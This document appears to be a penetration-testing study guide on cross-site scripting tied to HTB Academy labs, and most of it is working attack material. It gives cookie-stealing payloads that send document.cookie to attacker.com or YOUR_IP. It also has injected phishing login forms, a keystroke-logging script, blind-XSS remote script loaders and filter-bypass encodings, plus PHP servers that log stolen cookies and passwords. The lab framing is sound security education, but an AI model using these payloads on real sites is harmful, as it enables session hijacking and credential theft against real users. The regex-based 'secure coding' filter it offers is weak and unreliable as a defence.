π₯Cross-Site Scripting (XSS)
Complete XSS exploitation guide covering all attack types, payloads, and HTB Academy lab solutions
π Table of Contents
Core Concepts
Overview - XSS fundamentals and impact
Types of XSS - Stored, Reflected, DOM-based
Basic Payloads - Standard testing payloads
Alternative Payloads - Bypass techniques when
<script>is blocked
Attack Techniques
XSS Discovery - Automated and manual detection
Session Hijacking - Cookie theft and account takeover
Credential Harvesting - Phishing attacks via XSS
Blind XSS - Admin panel and hidden XSS exploitation
Practical Labs
HTB Academy Labs - Complete lab solutions and walkthroughs
Troubleshooting - Common issues and fixes
Tools & Resources - Professional XSS testing toolkit
Defense
Prevention - Secure coding and mitigation techniques
Quick Reference
π― Essential XSS Payloads
<!-- Basic Test -->
<script>alert(1)</script>
<!-- Cookie Stealing -->
<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
<!-- Phishing Form -->
'><script>document.write('<h3>Please login</h3><form action=http://attacker.com><input name="user"><input type="password" name="pass"><input type="submit" value="Login"></form>');</script><!--
<!-- Bypass Script Blocking -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>π XSS Detection Flow
Find input points β Forms, URL params, headers
Test basic payload β
<script>alert(1)</script>Check page source β Look for payload reflection
Verify execution β Confirm JavaScript runs
Exploit discovered XSS β Session hijacking, phishing
π― HTB Academy Coverage
β All XSS Types - Stored, Reflected, DOM-based XSS
β Session Hijacking - Cookie stealing and account takeover
β Phishing Attacks - Credential harvesting via fake forms
β Blind XSS - Admin panel exploitation techniques
β Bypass Techniques - Filter evasion and encoding methods
β Complete Labs - Step-by-step HTB Academy solutions
Overview
Cross-Site Scripting (XSS) is a web application vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. XSS occurs when user input is not properly sanitized and gets executed as JavaScript code in the victim's browser.
Impact:
Session hijacking - Stealing authentication cookies
Credential theft - Capturing login credentials via fake forms
Data exfiltration - Accessing sensitive information
Website defacement - Modifying page content
Phishing attacks - Redirecting users to malicious sites
Malware distribution - Downloading malicious files
Types of XSS Vulnerabilities
1. Stored XSS (Persistent XSS)
Most Critical Type - The injected payload gets stored in the back-end database and affects all users who visit the page.
Characteristics:
Persistent - Payload remains after page refresh
Wide impact - Affects all users visiting the page
Database storage - Payload stored in backend database
Hard to remove - Requires database cleanup
Example Scenario:
<!-- User input stored in database -->
Username: <script>alert(document.cookie)</script>
<!-- Later displayed to all users -->
<div>Welcome <script>alert(document.cookie)</script></div>Testing Method:
Submit XSS payload through input form
Refresh page to confirm persistence
Check if other users see the same payload
2. Reflected XSS (Non-Persistent XSS)
Temporary XSS - Input gets processed by back-end server and returned without proper sanitization.
Characteristics:
Non-persistent - Only affects targeted user
Server processing - Input reaches back-end server
URL parameters - Often exploited through GET requests
Temporary messages - Common in error messages
Example Scenario:
<!-- User input in URL -->
http://target.com/search?q=<script>alert(window.origin)</script>
<!-- Server reflects input in error message -->
<div>Search results for: <script>alert(window.origin)</script></div>Attack Vector:
# Crafted malicious URL sent to victim
http://target.com/index.php?task=<script>alert(window.origin)</script>3. DOM-based XSS (Client-Side XSS)
Client-side processing - Completely processed on the browser through JavaScript, never reaches back-end server.
Characteristics:
Client-side only - Never reaches backend server
JavaScript processing - Uses Document Object Model (DOM)
No HTTP requests - Processing happens in browser
URL fragments - Often uses # parameters
Source and Sink Concept:
Source - JavaScript object that takes user input:
URL parameters
Input fields
Hash fragments
localStorage/sessionStorage
Sink - Function that writes to DOM objects:
// Vulnerable functions
document.write()
DOM.innerHTML
DOM.outerHTML
// jQuery functions
add()
after()
append()Example Vulnerable Code:
// Source - getting user input
var pos = document.URL.indexOf("task=");
var task = document.URL.substring(pos + 5, document.URL.length);
// Sink - writing to DOM without sanitization
document.getElementById("todo").innerHTML = "<b>Next Task:</b> " + decodeURIComponent(task);DOM XSS Payload:
<!-- innerHTML doesn't execute <script> tags -->
<img src="" onerror=alert(window.origin)>Basic XSS Testing Payloads
Standard Payloads
Basic Alert Payload:
<script>alert(window.origin)</script>Cookie Stealing:
<script>alert(document.cookie)</script>Phishing Login Form Injection:
<script>document.write('<h3>Please login to continue</h3><form action=http://attacker.com><input type="text" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" value="Login"></form>');</script>Session Hijacking (Cookie Stealing):
<!-- Direct navigation method -->
<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
<!-- Stealthy image method -->
<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
<!-- Remote script loading -->
<script src="http://attacker.com/script.js"></script>Blind XSS Detection Payloads:
<script src=http://attacker.com/fieldname></script>
'><script src=http://attacker.com/fieldname></script>
"><script src=http://attacker.com/fieldname></script>
<script>$.getScript("http://attacker.com/fieldname")</script>Alternative Payloads
Bypass techniques when
<script>tags are blocked by filters
When <script> is Blocked
<script> is BlockedImage onerror event:
<img src="" onerror=alert(window.origin)>
<img src=x onerror=alert(document.cookie)>SVG payload:
<svg onload=alert(window.origin)>
<svg/onload=alert(1)>Input onfocus:
<input autofocus onfocus=alert(window.origin)>
<input onfocus=alert(1) autofocus>Iframe JavaScript:
<iframe src=javascript:alert(1)>
<iframe src="javascript:alert(window.origin)">Other HTML5 elements:
<!-- Body onload -->
<body onload=alert(1)>
<!-- Div onmouseover -->
<div onmouseover=alert(1)>
<!-- Plaintext rendering -->
<plaintext>
<!-- Print dialog -->
<script>print()</script>Advanced Payloads
Event Handlers:
<body onload=alert(1)>
<div onmouseover=alert(1)>
<img src=x onerror=alert(1)>
<iframe src=javascript:alert(1)>Without Parentheses:
<script>alert`1`</script>
<script>eval('alert\u00281\u0029')</script>Encoding Bypass Techniques
URL Encoding:
%3Cscript%3Ealert(1)%3C/script%3E
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3EHTML Entities:
<script>alert(1)</script>
<img src=x onerror=alert(1)>Unicode Encoding:
<script>alert('\u0058\u0053\u0053')</script>
<script>alert('\x58\x53\x53')</script>Double Encoding:
%253Cscript%253Ealert(1)%253C/script%253EMixed Case:
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x ONERROR=alert(1)>XSS Discovery Methods
1. Automated Discovery
Open-Source Tools:
# XSStrike
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt
python xsstrike.py -u "http://target.com/index.php?param=test"
# Brute XSS
git clone https://github.com/rajeshmajumdar/BruteXSS.git
# XSSer
apt install xsser
xsser -u "http://target.com/search?q=XSS"Commercial Scanners:
Burp Suite Professional
Nessus
OWASP ZAP
Acunetix
2. Manual Discovery
Testing Approach:
Identify input points - All user inputs, not just forms
Submit test payload - Use basic
<script>alert(1)</script>Analyze response - Check page source for payload
Verify execution - Confirm JavaScript execution
Test variations - Try different payload types
Input Points to Test:
HTML form fields
URL parameters (GET)
HTTP headers (User-Agent, Cookie, Referer)
JSON/XML parameters
File upload fields
Search functionality
3. Code Review
Frontend Code Review:
// Look for dangerous functions
document.write()
element.innerHTML = userInput
element.outerHTML = userInput
eval(userInput)
// jQuery dangerous functions
$(element).html(userInput)
$(element).append(userInput)Backend Code Review:
// PHP - Look for unescaped output
echo $_GET['input'];
echo $_POST['data'];
// No sanitization functions
htmlspecialchars()
htmlentities()
filter_var()Common XSS Attack Scenarios
1. Session Hijacking & Cookie Stealing
π Critical Attack: Steal authentication cookies to hijack user sessions without knowing passwords
Overview: Session hijacking allows attackers to steal user authentication cookies through XSS, gaining unauthorized access to victim accounts without knowing their credentials.
Blind XSS Detection
What is Blind XSS? Blind XSS occurs when the vulnerability is triggered on a page we don't have access to (e.g., Admin panels, contact forms, support tickets).
Common Blind XSS Targets:
Contact Forms
Reviews
User Details
Support Tickets
HTTP User-Agent header
Remote Script Loading for Detection:
<!-- Basic remote script loading -->
<script src="http://YOUR_IP/script.js"></script>
<!-- Field-specific detection -->
<script src="http://YOUR_IP/fullname"></script> <!-- for fullname field -->
<script src="http://YOUR_IP/username"></script> <!-- for username field -->
<script src="http://YOUR_IP/website"></script> <!-- for website field -->Blind XSS Detection Payloads:
<script src=http://YOUR_IP></script>
'><script src=http://YOUR_IP></script>
"><script src=http://YOUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://YOUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//YOUR_IP");a.send();</script>
<script>$.getScript("http://YOUR_IP")</script>Complete Session Hijacking Workflow
Step 1: Setup Server for Detection
mkdir /tmp/tmpserver
cd /tmp/tmpserver
sudo php -S 0.0.0.0:80Step 2: Test Blind XSS Payloads
# Submit different payloads in each field:
<script src=http://10.10.14.55/fullname></script>
<script src=http://10.10.14.55/username></script>
<script src=http://10.10.14.55/website></script>Step 3: Create Cookie Stealing Script Create script.js:
new Image().src='http://YOUR_IP/index.php?c='+document.cookie;Step 4: Create Cookie Harvesting Server Create index.php:
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>Step 5: Deploy Working Payload
<!-- Use discovered vulnerable field with script.js -->
<script src=http://YOUR_IP/script.js></script>Step 6: Collect Stolen Cookies
# Monitor server requests
tail -f /tmp/tmpserver/cookies.txt
# Example output:
# Victim IP: 10.10.10.1 | Cookie: cookie=f904f93c949d19d870911bf8b05fe7b2Step 7: Use Stolen Cookies
Navigate to target login page
Open Firefox Developer Tools (Shift+F9)
Go to Storage tab
Click + to add new cookie
Set Name and Value from stolen cookie
Refresh page to access victim account
Alternative Cookie Stealing Methods
Direct Navigation Method:
document.location='http://YOUR_IP/steal.php?cookie='+document.cookie;Image Loading Method (Stealthy):
new Image().src='http://YOUR_IP/index.php?c='+document.cookie;Fetch API Method:
fetch('http://YOUR_IP/steal.php?cookie='+document.cookie);XMLHttpRequest Method:
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://YOUR_IP/steal.php?cookie='+document.cookie);
xhr.send();2. Credential Harvesting & Phishing Attack
π£ Social Engineering: Create fake login forms to steal usernames and passwords
Basic Fake Login Form:
<script>
document.write('<h3>Please login to continue</h3>');
document.write('<form action=http://attacker.com/harvest.php>');
document.write('<input type="text" name="username" placeholder="Username">');
document.write('<input type="password" name="password" placeholder="Password">');
document.write('<input type="submit" value="Login">');
document.write('</form>');
</script>Advanced Phishing Attack (HTB Academy Style)
Complete Phishing Payload with Form Removal:
'><script>document.write('<h3>Please login to continue</h3><form action=http://ATTACKER_IP:PORT><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script><!--URL Encoded Phishing Payload:
%27%3E%3Cscript%3Edocument.write%28%27%3Ch3%3EPlease+login+to+continue%3C%2Fh3%3E%3Cform+action%3Dhttp%3A%2F%2FATTACKER_IP%3APORT%3E%3Cinput+type%3D%22username%22+name%3D%22username%22+placeholder%3D%22Username%22%3E%3Cinput+type%3D%22password%22+name%3D%22password%22+placeholder%3D%22Password%22%3E%3Cinput+type%3D%22submit%22+name%3D%22submit%22+value%3D%22Login%22%3E%3C%2Fform%3E%27%29%3Bdocument.getElementById%28%27urlform%27%29.remove%28%29%3B%3C%2Fscript%3E%3C%21--Complete Attack Workflow:
Setup Credential Harvesting Server:
# Create server directory
mkdir /tmp/tmpserver
cd /tmp/tmpserverCreate index.php for credential capture:
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://SERVER_IP/phishing/index.php");
fclose($file);
exit();
}
?>Start PHP listener:
sudo php -S 0.0.0.0:80Craft malicious URL (example):
http://target.com/phishing/index.php?url=%27%3E%3Cscript%3Edocument.write%28%27%3Ch3%3EPlease+login+to+continue%3C%2Fh3%3E%3Cform+action%3Dhttp%3A%2F%2F10.10.14.55%3A80%3E%3Cinput+type%3D%22username%22+name%3D%22username%22+placeholder%3D%22Username%22%3E%3Cinput+type%3D%22password%22+name%3D%22password%22+placeholder%3D%22Password%22%3E%3Cinput+type%3D%22submit%22+name%3D%22submit%22+value%3D%22Login%22%3E%3C%2Fform%3E%27%29%3Bdocument.getElementById%28%27urlform%27%29.remove%28%29%3B%3C%2Fscript%3E%3C%21--Check captured credentials:
cat /tmp/tmpserver/creds.txtAttack Breakdown:
'>- Escapes from image URL attributedocument.write()- Injects fake login formgetElementById('urlform').remove()- Removes original form to avoid suspicion<!--- Comments out remaining HTML to prevent rendering issuesForm redirects victims back to original site after credential theft
3. Keylogger
JavaScript Keylogger:
<script>
document.addEventListener('keypress', function(event) {
fetch('http://attacker.com/keylog.php?key=' + event.key);
});
</script>4. Page Defacement
Modifying Page Content:
<script>
document.body.innerHTML = '<h1>Hacked by Attacker</h1>';
</script>XSS Prevention and Bypass Techniques
Common Filters and Bypasses
Filter: Blocking <script> tags
<!-- Bypass with other tags -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>Filter: Blocking alert()
<!-- Alternative functions -->
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>console.log(1)</script>Filter: Blocking quotes
<!-- Using backticks -->
<script>alert`1`</script>
<!-- Using String.fromCharCode -->
<script>alert(String.fromCharCode(88,83,83))</script>Filter: Case-sensitive filtering
<!-- Mixed case -->
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x ONERROR=alert(1)>Filter: Blocking form injection
<!-- Using DOM manipulation instead of direct HTML -->
<script>
var form = document.createElement('form');
form.action = 'http://attacker.com';
form.innerHTML = '<input name="user"><input type="password" name="pass">';
document.body.appendChild(form);
</script>HTML Context Escaping
Escaping from different contexts:
<!-- Breaking out of attribute -->
" onmouseover="alert(1)
'><script>alert(1)</script>
<!-- Breaking out of HTML comment -->
--><script>alert(1)</script><!--
<!-- Breaking out of CDATA -->
]]><script>alert(1)</script>Tools and Resources
Testing Tools
# XSStrike - Advanced XSS detection
python xsstrike.py -u "target.com" --crawl
# Burp Suite Extensions
- XSS Validator
- Retire.js
- Reflected XSS
# Browser Extensions
- XSS Ray (Chrome)
- XSS Me (Firefox)Session Hijacking Tools
# XSS Hunter - Blind XSS detection platform
https://xsshunter.com/
# PHP Cookie Harvester (create manually)
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
# Cookie Editor - Browser extension for cookie manipulation
- Cookie-Editor (Chrome/Firefox)
- EditThisCookie (Chrome)
# Netcat listener for quick testing
nc -lvnp 80Payload Repositories
PayloadAllTheThings - XSS section
PayloadBox - XSS payloads
OWASP XSS Filter Evasion - Bypass techniques
PortSwigger XSS Cheat Sheet - Browser-specific payloads
Vulnerable Practice Sites
DVWA - Damn Vulnerable Web Application
bWAPP - Buggy Web Application
WebGoat - OWASP WebGoat
XSS Game - Google XSS Challenge
Detection and Mitigation
Security Headers
# Content Security Policy
Content-Security-Policy: default-src 'self'
# X-XSS-Protection (legacy)
X-XSS-Protection: 1; mode=block
# X-Content-Type-Options
X-Content-Type-Options: nosniffSecure Coding Practices
// Input validation
function sanitizeInput(input) {
return input.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
}
// Output encoding
function escapeHtml(text) {
return text
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}HTB Academy Lab Solutions
Question Examples
Cookie Stealing Payload:
<script>alert(document.cookie)</script>DOM XSS with innerHTML:
<img src="" onerror=alert(document.cookie)>Reflected XSS in URL parameter:
http://target.com/index.php?task=<script>alert(document.cookie)</script>Phishing Attack (HTB Academy Labs):
# Raw payload for phishing exercise
'><script>document.write('<h3>Please login to continue</h3><form action=http://YOUR_IP:PORT><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script><!--
# URL encoded for browser
http://SERVER_IP/phishing/index.php?url=%27%3E%3Cscript%3Edocument.write%28%27%3Ch3%3EPlease+login+to+continue%3C%2Fh3%3E%3Cform+action%3Dhttp%3A%2F%2FYOUR_IP%3APORT%3E%3Cinput+type%3D%22username%22+name%3D%22username%22+placeholder%3D%22Username%22%3E%3Cinput+type%3D%22password%22+name%3D%22password%22+placeholder%3D%22Password%22%3E%3Cinput+type%3D%22submit%22+name%3D%22submit%22+value%3D%22Login%22%3E%3C%2Fform%3E%27%29%3Bdocument.getElementById%28%27urlform%27%29.remove%28%29%3B%3C%2Fscript%3E%3C%21--Session Hijacking Lab (HTB Academy):
# Step 1: Test blind XSS detection payloads
<script src=http://YOUR_IP/fullname></script>
<script src=http://YOUR_IP/username></script>
<script src=http://YOUR_IP/website></script>
# Step 2: Create script.js for cookie stealing
new Image().src='http://YOUR_IP/index.php?c='+document.cookie;
# Step 3: Use working payload with script.js
<script src=http://YOUR_IP/script.js></script>
# Step 4: Check stolen cookies
cat cookies.txt
# Output: Victim IP: 10.10.10.1 | Cookie: cookie=f904f93c949d19d870911bf8b05fe7b2
# Step 5: Use cookie in Firefox Developer Tools (Shift+F9)
# Storage tab > Add cookie > Set Name: cookie, Value: f904f93c949d19d870911bf8b05fe7b2XSS Discovery Exercise Solutions:
# Finding vulnerable parameter
# Answer: email (example from HTB labs)
# Finding XSS type
# Answer: reflected (example from HTB labs)XSS Troubleshooting & Common Mistakes
Phishing Attack Issues
Problem: Payload not working
# Check 1: Basic XSS first
<script>alert(1)</script>
# Check 2: Verify IP address
ip a | grep tun0
ifconfig tun0
# Check 3: URL encoding
# Use Burp Suite or online URL encoderProblem: PWNIP:PWNPO placeholders
# β WRONG - Using placeholders from tutorial
action=http://PWNIP:PWNPO
# β
CORRECT - Using your actual IP
action=http://10.10.14.55:8080Problem: Server not receiving credentials
# Check if PHP server is running
sudo netstat -tlnp | grep :8080
# Check server logs
tail -f /var/log/apache2/access.log
# Test with netcat first
sudo nc -lvnp 8080Problem: Form not appearing
# Debug: Check browser console (F12)
# Look for JavaScript errors
# Check page source for payload injection
View Source or Ctrl+USession Hijacking Issues
Problem: No requests to server during blind XSS testing
# Check 1: Server is running
sudo php -S 0.0.0.0:80
# Check 2: Firewall allowing connections
sudo ufw allow 80
# Check 3: Test with simple HTTP request
curl http://YOUR_IP
# Check 4: Try different payload variations
'><script src=http://YOUR_IP/test></script>
"><script src=http://YOUR_IP/test></script>Problem: Script.js not loading
# Check file exists in server directory
ls -la /tmp/tmpserver/script.js
# Check file permissions
chmod 644 script.js
# Test direct access
curl http://YOUR_IP/script.jsProblem: Cookies not being captured
// Debug: Check if document.cookie contains anything
console.log(document.cookie);
// Alternative cookie stealing methods
new Image().src='http://YOUR_IP/test?cookie='+document.cookie;
fetch('http://YOUR_IP/steal?c='+document.cookie);Problem: Cookie injection not working
# Check cookie format in browser
# Format should be: Name=Value
# Example: cookie=f904f93c949d19d870911bf8b05fe7b2
# Clear browser cookies first
# Then add stolen cookie
# Refresh page to test accessCommon Payload Encoding Issues
URL Encoding Problems:
# Spaces must be encoded as %20 or +
Please login to continue
# Becomes:
Please+login+to+continue
# Special characters must be encoded
< = %3C
> = %3E
" = %22
' = %27JavaScript String Escaping:
// β WRONG - Unescaped quotes
document.write('<form action="http://attacker.com">');
// β
CORRECT - Escaped quotes
document.write('<form action=http://attacker.com>');Debugging XSS Payloads
Step-by-step debugging:
Test basic XSS:
<script>alert(1)</script>Test with URL parameter:
?url=<script>alert(1)</script>Check payload encoding with online tools
Verify server listening:
sudo php -S 0.0.0.0:8080Test credential capture with manual form submission
This XSS guide covers the fundamental concepts and practical techniques from HTB Academy's Cross-Site Scripting module, providing a comprehensive resource for penetration testing and web application security assessment.
Last updated